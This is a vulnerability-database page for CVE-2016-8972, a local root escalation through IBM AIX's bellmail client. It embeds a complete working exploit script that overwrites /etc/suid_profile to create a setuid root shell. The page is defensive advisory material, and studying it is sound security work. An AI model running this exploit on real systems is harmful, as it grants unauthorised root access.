CVE-2016-8972

high
Published 2017-02-15 ยท Modified 2026-05-13
CVSS v3
7.8
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.8

Description

IBM AIX 6.1, 7.1, and 7.2 could allow a local user to gain root privileges using a specially crafted command within the bellmail client. IBM APARs: IV91006, IV91007, IV91008, IV91010, IV91011.

Predictions

Exploit likelihood
75%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40950 local aix bash ยท 2 KB
Hector X. Monsegur ยท 2016-12-22

IBM AIX 6.1/7.1/7.2 - 'Bellmail' Local Privilege Escalation

bash exploit Source: Exploit-DB
#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
#         Fileset                Lower Level  Upper Level KEY
#        ---------------------------------------------------------
#        bos.net.tcp.client       6.1.9.0      6.1.9.200   key_w_fs
#        bos.net.tcp.client       7.1.3.0      7.1.3.47    key_w_fs
#        bos.net.tcp.client       7.1.4.0      7.1.4.30    key_w_fs
#        bos.net.tcp.client_core  7.2.0.0      7.2.0.1     key_w_fs
#        bos.net.tcp.client_core  7.2.1.0      7.2.1.0     key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com

ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile

function ESCALATE
{
    echo "[*] Preparing escalation"

    $VULNBIN >/dev/null 2>&1 <<EOD
s /etc/suid_profile
EOD

    if [ ! -w $SUIDPROFILE ]; then
        echo "[-] $SUIDPROFILE is not writable. Exploit failed."
        exit 1
    fi

    echo "[*] Clearing out $SUIDPROFILE"
    echo > /etc/suid_profile

    echo "[*] Injecting payload"
    cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF

    echo "[*] Executing SUID to leverage privileges"
    /usr/bin/ibstat -a >/dev/null 2>&1

    if [ ! -x $ROOTSHELL ]; then
        echo "[-] Root shell does not exist or is not executable. Exploit failed."
        exit 1
    fi

    echo "[*] Escalating to root.."
    $ROOTSHELL
    echo "[*] Make sure to remove $ROOTSHELL"
}

echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"

$VULNBIN -e
if [ $? -eq 0 ]
    then
        ESCALATE
        echo "[*] Make sure to remove $ROOTSHELL"
        exit 0
fi

echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <<EOD
.
.
.
EOD

echo "[*] Waiting for mail to come in."

while true
do
    $VULNBIN -e
    if [ $? -eq 0 ]
        then
            echo "[*] Mail found"
            ESCALATE
            break
        else
            echo "[-] Mail not received yet. Sleeping."
            sleep 10
        fi
done

Application impact

VendorProductVersionsFixed
ibm ibmvios2.2.1.5
ibm ibmvios2.2.1.6
ibm ibmvios2.2.1.7
ibm ibmvios2.2.1.8
ibm ibmvios2.2.0.0
ibm ibmvios2.2.0.10
ibm ibmvios2.2.0.11
ibm ibmvios2.2.0.12
ibm ibmvios2.2.0.13
ibm ibmvios2.2.1.0
ibm ibmvios2.2.1.1
ibm ibmvios2.2.1.3
ibm ibmvios2.2.1.4
ibm ibmvios2.2.2.0
ibm ibmvios2.2.2.1
ibm ibmvios2.2.2.2
ibm ibmvios2.2.2.3
ibm ibmvios2.2.2.4
ibm ibmvios2.2.2.6
ibm ibmvios2.2.2.70
ibm ibmvios2.2.3.0
ibm ibmvios2.2.3.1
ibm ibmvios2.2.3.2
ibm ibmvios2.2.3.3
ibm ibmvios2.2.3.4
ibm ibmvios2.2.3.50
ibm ibmvios2.2.3.51
ibm ibmvios2.2.3.52
ibm ibmvios2.2.3.60
ibm ibmvios2.2.3.70
ibm ibmvios2.2.3.80
ibm ibmvios2.2.4.0
ibm ibmvios2.2.4.10
ibm ibmvios2.2.4.21
ibm ibmvios2.2.4.22
ibm ibmvios2.2.4.23
ibm ibmvios2.2.4.30
ibm ibmvios2.2.5.0
ibm ibmvios2.2.5.10

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.